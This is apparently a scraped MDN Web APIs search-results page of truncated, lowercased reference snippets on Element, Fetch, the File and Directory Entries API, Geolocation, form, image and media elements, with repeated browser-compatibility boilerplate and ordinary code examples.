the element.scrollleftmax read-only property returns a number representing the maximum left scroll offset possible for the element. syntax var pxl = element.scrollleftmax; specifications this property is not part of any specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollleftmax non-standardchrome no support noedge no support nofirefox fu...
... ...
... ...
Element - Web APIs
Web › API › Element
remove() removes the element from the children list of its parent. element.removeattribute() removes the named attribute from the current node. element.removeattributens() removes the attribute with the specified name and namespace, from the current node. eventtarget.removeeventlistener() removes an event listener from the element. element.requestfullscreen() asynchronously asks the browser to make the element full-screen. element.requestpointerlock() allows to asynchronously ask for the pointer to be locked on the given element. element.scroll() scrolls to a particular set of coordinates inside a given element. element.scrollby() scrolls an element by the given amount. element.scrollintoview() scrolls the page until the element gets into the view. element.scrollto() ...
...epresentation of the named attribute from the current node. element.setattributenodens() sets the node representation of the attribute with the specified name and namespace, from the current node. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. cancel fires on a <dialog> when the user instructs the browser that they wish to dismiss the current open dialog. for example, the browser might fire this event when the user presses the esc key or clicks a "close dialog" button which is part of the browser's ui. also available via the oncancel property. error fired when a resource failed to load, or can't be used. for example, if a script has an execution error or an image can't be found or is invalid.
...le via the onselect property. show fired when a contextmenu event was fired on/bubbled to an element that has a contextmenu attribute. also available via the onshow property. wheel fired when the user rotates a wheel button on a pointing device (typically a mouse). also available via the onwheel property. clipboard events copy fired when the user initiates a copy action through the browser's user interface. also available via the oncopy property. cut fired when the user initiates a cut action through the browser's user interface. also available via the oncut property. paste fired when the user initiates a paste action through the browser's user interface. also available via the onpaste property. composition events compositionend fired when a text composition system s...
FederatedCredential - Web APIs
the federatedcredential constructor creates a new federatedcredential object. in supporting browsers, an instance of this class may be passed the credential received from the init object for global fetch. syntax var mycredential = new federatedcredential(init) parameters init options are: provider: a usvstring; identifying the credential provider. specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandr...
... ...
... ...
FetchEvent - Web APIs
his is the event type for fetch events dispatched on the service worker global scope. it contains information about the fetch, including the request and how the receiver will treat the response. it provides the event.respondwith() method, which allows us to provide a response to this fetch. constructor fetchevent() creates a new fetchevent object. this constructor is not typically used. the browser creates these objects itself and provides them to fetch event callbacks. properties inherits properties from its ancestor, event. fetchevent.clientid read only the id of the same-origin client that initiated the fetch. fetchevent.preloadresponse read only a promise for a response, or undefined if this fetch is not a navigation, or navigation preload is not enabled. fetchevent.replac...
...ly a promise for a response, or undefined if this fetch is not a navigation, or navigation preload is not enabled. fetchevent.replacesclientid read only the id of the client that is being replaced during a page navigation. fetchevent.resultingclientid read only the id of the client that replaces the previous client during a page navigation. fetchevent.request read only the request the browser intends to make. methods inherits methods from its parent, extendableevent. fetchevent.respondwith() prevent the browser's default fetch handling, and provide (a promise for) a response yourself. extendableevent.waituntil() extends the lifetime of the event. used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching. examples...
... inherits methods from its parent, extendableevent. fetchevent.respondwith() prevent the browser's default fetch handling, and provide (a promise for) a response yourself. extendableevent.waituntil() extends the lifetime of the event. used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching. examples this fetch event uses the browser default for non-get requests. for get requests it tries to return a match in the cache, and falls back to the network. if it finds a match in the cache, it asynchronously updates the cache for next time. self.addeventlistener('fetch', event => { // let the browser do its default thing // for non-get requests. if (event.request.method != 'get') return; // prevent the default, and handl...
Using Fetch - Web APIs
fetch('https://example.com', { credentials: 'include' }); if you only want to send credentials if the request url is on the same origin as the calling script, add credentials: 'same-origin'. // the calling script is on the origin 'https:...
...ude' to the init object you pass to the fetch() method. fetch('https://example.com', { credentials: 'include' }); if you only want to send credentials if the request url is on the same origin as the calling script, add credentials: 'same-origin'. // the calling script is on the origin 'https://example.com' fetch('https://example.com', { credentials: 'same-origin' }); to instead ensure browsers don’t include credentials in the request, use credentials: 'omit'. fetch('https://example.com', { credentials: 'omit' }) uploading json data use fetch() to post json-encoded data. const data = { username: 'example' }; fetch('https://example.com/profile', { method: 'post', // or 'put' headers: { 'content-type': 'application/json', }, body: json.stringify(data), }) .then(res...
...est will also automatically set a content-type header if none is set in the dictionary. feature detection fetch api support can be detected by checking for the existence of headers, request, response or fetch() on the window or worker scope. for example: if (window.fetch) { // run my fetch request here } else { // do something with xmlhttprequest? } polyfill to use fetch in unsupported browsers, there is a fetch polyfill available that recreates the functionality for non-supporting browsers. specifications specification status comment fetch living standard initial definition ...
FileException - Web APIs
e unsafe for access within a web application. too many calls are being made on file resources. other unspecified security error code or situations. type_mismatch_err 11 the user has attempted to look up a file or directory, but the entry found is of the wrong type. for example, the app is accessing a directoryentry when the user is requesting a fileentry. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileexception deprecated...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
FileReaderSync - Web APIs
f-8). if not present, the method will apply a detection algorithm for it. filereadersync.readasdataurl() this method converts a specified blob or a file into a domstring representing the input data as a data url. specifications specification status comment file apithe definition of 'filereadersync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilereadersyncchrome ...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
FileSystem - Web APIs
if you want to gain access to the users filesystem you need to invoke the user by eg. installing a chrome extension. the relevant chrome api can be found here. ...
...if you want to gain access to the users filesystem you need to invoke the user by eg. installing a chrome extension. the relevant chrome api can be found here. ...
...d file systems. filesystem.root read only a filesystemdirectoryentry object which represents the file system's root directory. through this object, you can gain access to all files and directories in the file system. specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification. draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemchrome ...
FileSystemDirectoryEntry.removeRecursively() - Web APIs
e files that can't be removed, or if an error occurs while deletion of a number of files is underway, some files may not be deleted. you should provide an errorcallback to watch for and handle this, perhaps by trying again. example directory.removerecursively(function() { /* the directory was removed successfully */ }, function() { /* an error occurred while removing the directory */ }); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverecursively deprec...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
FileSystemDirectoryEntry - Web APIs
ant to create subdirectories, create each child directory in sequence. if you try creating a directory using a full path that includes parent directories that do not exist yet, an error is returned. so create the hierarchy by recursively adding a new path after creating the parent directory. example in the following code snippet, we create a directory called "documents." // taking care of the browser-specific prefixes. window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; window.directoryentry = window.directoryentry || window.webkitdirectoryentry; ... function onfs(fs){ fs.root.getdirectory('documents', {create:true}, function(directoryentry){ //directoryentry.isfile === false //directoryentry.isdirectory === true //directoryentry.name === '...
...rectory on which the method is called. obsolete methods removerecursively() deletes a directory and all of its contents, including the contents of subdirectories. this has been removed from the spec. specifications specification status comment file and directory entries apithe definition of 'filesystemdirectoryentry' in that specification. draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemdirectoryentry...
...droid full support yeslegend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
FileSystemEntry.copyTo() - Web APIs
user's storage quota, or there isn't enough storage space left to complete the operation. example this example shows how a temporary log file might be moved into a more permanent "log" directory. workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.copyto(direntry); }, handleerror); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcopyto experimentaldepre...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
FileSystemEntry.getMetadata() - Web APIs
file in a temporary folder and, if it exceeds a megabyte, moves it into a different directory. workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetmetadata experimental...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
FileSystemEntry.moveTo() - Web APIs
file might be moved into a more permanent "log" directory when it exceeds a megabyte in size. workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmoveto experimentaldepre...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
FileSystemEntry.remove() - Web APIs
. fileerror.security_err the entry couldn't be removed due to permissions or other access constraints, or because there are too many calls being made on file resources. example this example deletes a temporary work file. workingdirectory.getfile("tmp/workfile.json", {}, function(fileentry) { fileentry.remove(function() { /* the file was removed successfully */ }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremove experimentaldepre...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
FileSystemEntrySync - Web APIs
ntries api represents an entry in a file system; it can be either a fileentrysync or directoryentry. it includes methods for working with files—including copying, moving, removing, and reading files—as well as information about the file it points to—including the file name and its path from the root to the entry. warning: this api was never accepted and never became standardized. various browsers implement pieces of the file and directory entries api (otherwise known as the file system api) but you should try to avoid using it. basic concepts the filesystementrysync interface includes methods that you would expect for manipulating files and directories, but it also include a really handy method for getting a url of the entry: tourl(). it also introduces a new url scheme: filesystem:...
...th occupied by a directory or move a directory to a path occupied by a file move any element to a path occupied by a directory that is not empty. filesystementrysync moveto ( in directoryentrysync parent, optional domstring newname ) raises (fileexception); parameters parent the directory to which to move the entry. newname the new name of the entry. if you do not specify a name, the browser preserves the entry's current name. returns filesystementrysync an object that represents an entry in the file system. exceptions this method can raise a fileexception with the following codes: exception description encoding_err the name supplied is invalid, because at least one of the characters is reserved or illegal. examples include a backslash (\), dot (.)...
... directory copies are always recursive—that is, all contents of the directory are copied. you cannot change this behavior. files are simply duplicated. void copyto ( in directoryentrysync parent, optional domstring newname ) raises (fileexception); parameters parent the directory where you want the entry to move to. newname the new name of the entry. if you do not specify a name, the browser preserves the filesystementrysync's current name. returns filesystementrysync an object that represents an entry in the file system. exceptions this method can raise a fileexception with the following codes: exception description encoding_err the name supplied is invalid, because at least one of the characters is reserved or illegal. examples include a backslas...
FileSystemFileEntry.createWriter() - Web APIs
ilewriter.write(data); }, function(fileerror) { /* do whatever to handle the error */ }); } the success callback for the createwriter() call takes the text which was passed in and creates a new blob object of type text/plain that contains the passed text. this blob is then output to the filewriter object to be written to the file. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreatewriter deprecatedn...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
FileSystemFileEntry - Web APIs
pend('meow'); filewriter.write(bb.getblob('text/plain')); }, errorhandler); }, errorhandler); } window.requestfilesystem(window.temporary, 1024*1024, oninitfs, errorhandler); specifications specification status comment file and directory entries apithe definition of 'filesystemfileentry' in that specification. draft draft of proposed api browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemfileentrychrom...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...support 11.3samsung internet android full support yeslegend full support full support no support no supportnon-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
FileSystemSync - Web APIs
re api and you will use it a lot. so once you have a reference, cache the object in a global variable or class property. attributes attribute type description name readonly domstring name of the file system. the name must be unique across the list of exposed file systems. root readonly directoryentry the root directory of the file system. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemsync non-stand...
... ...
... ...
File and Directory Entries API support in Firefox - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the original file system api was created to let browsers implement support for accessing a sandboxed virtual file system on the user's storage device. work to standardize the specification was abandoned back in 2012, but by that point, google chrome included its own implementation of the api. over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it. mozil...
... it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it. mozilla instead opted to implement other apis which can be used to solve many of the same problems, such as indexeddb; see the blog post why no filesystem api in firefox? for more insights. this has caused a number of popular web sites not to work properly on browsers other than chrome. because of that, an attempt was made to create a spec offering the features of google's api which consensus could be reached on. the result was the file and directory entries api. this subset of the api provided by chrome is still not fully specified; however, for web compatibility reasons, it was decided to implement a subset of the api in firefox; this was introduced in fi...
...oryreadersync directoryreadersync filesystementry entry filesystementrysync entrysync filesystemfileentry fileentry filesystemfileentrysync fileentrysync be sure to account for this in your code by allowing for both names. hopefully chrome will be updated soon to use the newer names! to ensure your code will work in both chrome and other browsers, you can include code similar to the following: var filesystemdirectoryentry = window.filesystemdirectoryentry || window.directoryentry; var filesystementry = window.filesystementry || window.entry; limitations in firefox next, let's look at limitations of the firefox implementation of the api. in broad strokes, those limitations can be summarized as follows: content scripts can't creat...
FontFace.display - Web APIs
Web › API › FontFace › display
rty of the fontface interface determines how a font face is displayed based on whether and when it is downloaded and ready to use. this property is equivalent to the css font-display descriptor. when this property is used, font loading has a timeline with three periods. the lengths of the first two periods depend on the value of the property and the user agent. (see below.) block period the browser invisibly prepares a fallback font. if the font face loads during this time, it's used to display the text and display is complete. swap period if the font face is still not loaded, the fallback font will be shown. when the font face loads, the fallback will be swaped for the downloaded font. failure period if the font face still is not loaded, the fallback font will be shown and no swap w...
...back font will be shown and no swap will occur. syntax var display = fontface.display fontface.display = display value a cssomstring with one of the following values. 'auto': use the font display strategy provided by the user agent. 'block': gives the font face a short block period and an infinite swap period. the spec recommends 3 seconds for the block period, though this may vary from browser to browser. 'fallback': gives the font face a short block period and a short swap period. the spec recommends 100 ms or less for the block period and 3 seconds for the swap period, though these values may vary from browser to browser. 'optional': gives the font face a short block period and no swap period. the spec recommends 100 ms or less, though this may vary from browser to browser. 'swa...
...od. specifications specification status comment css font loading module level 3the definition of 'display' in that specification. working draft initial definition. css fonts module level 4the definition of 'font-display' in that specification. working draft defines the values for the display property. (they are the same as for font-display.) browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdisplay experimentalchr...
Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's event loop. a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc. a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience. this means the browser should process a frame in about 16.7 ms. an application can register a performanceobserver for "frame" performance entry types. the observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available. this data can be used to help identify areas that take too long to provide a goo...
...eentry.duration set to a timestamp indicating the difference between the starttimes of two successive frames. this data, particularly the duration timestamp, can be used to help identify performance problems. frame observers the performance observer interfaces allow an application to register an observer for specific performance event types. when one of those event types is recorded in the browser's performance timeline, the application is notified of the event via the observer's callback function that was specified when the observer was created. to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback (function). next, performanceobserver.observe() is used to specify the set of performance events to o...
...event via the observer's callback function that was specified when the observer was created. to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback (function). next, performanceobserver.observe() is used to specify the set of performance events to observe - in this case, just the "frame" event type. when the browser adds a new frame to the performance timeline, the specified observer callback will be invoked. accessing frame data when a frame observer is invoked, frame performance entries can be retrieved by calling performanceobserverentrylist.getentriesbytype() with an argument of "frame". this method returns a list of "frame" performanceentry objects. each frame object's duration property returns the ...
Using the Geolocation API - Web APIs
ed. watching the current position if the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information. this is done using the watchposition() function, which has the same input parameters as getcurrentposition(). the callback function is called multiple times, allowing the browser to either update your location as you move, or provide a more accurate location as different techniques are used to geolocate you. the error callback function, which is optional just as it is for getcurrentposition(), can be called repeatedly. note: you can use watchposition() without an initial getcurrentposition() call. const watchid = navigator.geolocation.watchposition((position) => { ...
...h(watchid); fine tuning the response both getcurrentposition() and watchposition() accept a success callback, an optional error callback, and an optional positionoptions object. this object allows you to specify whether to enable high accuracy, a maximum age for the returned position value (up until this age it will be cached and reused if the same position is requested again; after this the browser will request fresh position data), and a timeout value that dictates how long the browser should attempt to get the position data for, before it times out. a call to watchposition could look like: function success(position) { dosomething(position.coords.latitude, position.coords.longitude); } function error() { alert('sorry, no position available.'); } const options = { enablehighaccu...
...ords.longitude; status.textcontent = ''; maplink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`; maplink.textcontent = `latitude: ${latitude} °, longitude: ${longitude} °`; } function error() { status.textcontent = 'unable to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result ...
GestureEvent - Web APIs
ethods this interface also inherits methods of its parents, uievent and event. gestureevent.initgestureevent() initializes the value of an gestureevent. if the event has already being dispatched, this method does nothing. gesture event types gesturestart gesturechange gestureend specifications not part of any specification. apple has a description at the safari developer library. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgestureevent non-standar...
... ...
... ...
HTMLElement: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling. bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
... handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...tion is changed while the pointer is active. the browser decides that the user started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property prevents the input from continuing. after the pointercancel event is fired, the browser will also send pointerout followed by pointerleave. examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled'); }); using the onpointercancel event handler property: const para = document.queryselector('p'); para.onpointercancel = (event) => { console.log('pointer event cance...
HTMLFormElement - Web APIs
operties are synonyms. htmlformelement.acceptcharset a domstring reflecting the value of the form's accept-charset html attribute, representing the character encoding that the server accepts. htmlformelement.autocomplete a domstring reflecting the value of the form's autocomplete html attribute, indicating whether the controls in this form can have their values automatically populated by the browser. htmlformelement.novalidate a boolean reflecting the value of the form's novalidate html attribute, indicating whether the form should not be validated. named inputs are added to their owner form instance as properties, and can overwrite native properties if they share the same name (e.g. a form with an input named action will have its action property return that input instead of the form's...
...e invalid events are fired for each invalid child and validation problems are reported to the user. requestsubmit() requests that the form be submitted using the specified submit button and its corresponding configuration. reset() resets the form to its initial state. submit() submits the form to the server. deprecated methods htmlformelement.requestautocomplete() triggers a native browser interface to assist the user in completing the fields which have an autofill field name value that is not off or on. the form will receive an event once the user has finished with the interface, the event will either be autocomplete when the fields have been filled or autocompleteerror when there was a problem. events listen to these events using addeventlistener(), or by assigning an event ...
...tion from a <form> element and set some of its attributes: <form name="forma" action="/cgi-bin/test" method="post"> <p>press "info" for form details, or "set" to change those details.</p> <p> <button type="button" onclick="getforminfo();">info</button> <button type="button" onclick="setforminfo(this.form);">set</button> <button type="reset">reset</button> </p> <textarea id="form-info" rows="15" cols="20"></textarea> </form> <script> function getforminfo(){ // get a reference to the form via its name var f = document.forms["forma"]; // the form properties we're interested in var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptcharset', 'action', 'enctype', 'method', 'target' ]; // iterate over the properties, turning them into a string...
HTMLImageElement.loading - Web APIs
the htmlimageelement property loading is a string whose value provides a hint to the user agent that tells the browser how to handle loading images which are currently outside the window's visual viewport. this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load. syntax let imageloadscheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance. the possible values are: eager the default behavior, eager tells the browser to load the image as soon as the <img> element is processed. lazy tells the user agent to hol...
...oading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance. the possible values are: eager the default behavior, eager tells the browser to load the image as soon as the <img> element is processed. lazy tells the user agent to hold off on loading the image until the browser estimates that it will be needed imminently. for instance, if the user is scrolling through the document, a value of lazy will cause the image to only be loaded shortly before it will appear in the window's visual viewport. usage notes timing of the load event the load event is fired when the document has been fully processed. when images are loaded eagerly (which is the default), every ima...
... are still loaded as part of the initial page load. they justt don't affect the timing of the load event. that means that when load fires, it's possible that any lazy-loaded images located in the visual viewport may not yet be visible. preventing element shift during image lazy loads when an image whose loading has been delayed by the loading attribute being set to lazy is finally loaded, the browser will determine the final size of the <img> element based on the style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image. to prevent this reflow from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height attributes...
HTMLImageElement.srcset - Web APIs
ass="box"> <img src="/files/16797/clock-demo-200px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 1x, /files/16797/clock-demo-400px.png 2x"> </div> css the css simply specifies that the image and its surrounding box should be 200 pixels square and should have a simple border around it. also provided is the word-break attribute, using the break-all value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur. .box { width: 200px; border: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; } javascript the following code is run within a handler for the window's load event. it uses the image's currentsrc property to fetch and display the...
...within the width available regardless of where in the string the wrap must occur. .box { width: 200px; border: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; } javascript the following code is run within a handler for the window's load event. it uses the image's currentsrc property to fetch and display the url selected by the browser from the srcset. let box = document.queryselector(".box"); let image = box.queryselector("img"); let newelem = document.createelement("p"); newelem.innerhtml = `image: <code>${image.currentsrc}</code>`; box.appendchild(newelem); result in the displayed output below, the selected url will correspond with whether your display results in selecting the 1x or the 2x version of the image. if you...
...u happen to have both standard and high density displays, try moving this window between them and reloading the page to see the results change. for additional examples, see our guide to responsive images. specifications specification status comment html living standardthe definition of 'htmlimageelement.srcset' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsrcset experimentalchrom...
HTMLInputElement.webkitEntries - Web APIs
ch time a change event occurs, this code iterates over the selected files, obtaining their filesystementry-based objects and acting on them. specifications specification status comment file and directory entries apithe definition of 'webkitentries' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitentries non-standa...
... ...
... ...
HTMLInputElement.webkitdirectory - Web APIs
= document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitdirectory' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitdirectory non-stan...
... ...
... ...
HTMLMediaElement.play() - Web APIs
s a promise which is resolved when playback has been successfully started. failure to begin playback for any reason, such as permission issues, result in the promise being rejected. syntax var promise = htmlmediaelement.play(); parameters none. return value a promise which is resolved when playback has been started, or is rejected if for any reason playback cannot be started. note: older browsers may not return a value from play(). exceptions the promise's rejection handler is called with an exception name passed in as its sole input parameter (as opposed to a traditional exception being thrown). possible errors include: notallowederror the user agent (browser) or operating system doesn't allow playback of media in the current context or situation. this may happen, for example, ...
...not return a value from play(). exceptions the promise's rejection handler is called with an exception name passed in as its sole input parameter (as opposed to a traditional exception being thrown). possible errors include: notallowederror the user agent (browser) or operating system doesn't allow playback of media in the current context or situation. this may happen, for example, if the browser requires the user to explicitly start media playback by clicking a "play" button. notsupportederror the media source (which may be specified as a mediastream, mediasource, blob, or file, for example) doesn't represent a supported media format. other exceptions may be reported, depending on browser implementation details, media player implementation, and so forth. usage notes although the ...
... (which may be specified as a mediastream, mediasource, blob, or file, for example) doesn't represent a supported media format. other exceptions may be reported, depending on browser implementation details, media player implementation, and so forth. usage notes although the term "autoplay" is usually thought of as referring to pages that immediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play(). if the user agent is configured not to allow automatic or script-initiated playback of media, calling play() will cause the returned promise to be immediately rejected with a notallowederror. web sites should be prepared to handle this situation. for example, a site should not present a user in...
HTMLScriptElement - Web APIs
html <script> elements expose the htmlscriptelement interface, which provides special properties and methods for manipulating the behavior and execution of <script> elements (beyond the inherited htmlelement interface). javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv. if the script is blocked, its element receives an error event; otherwise, it receives a load event. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 60...
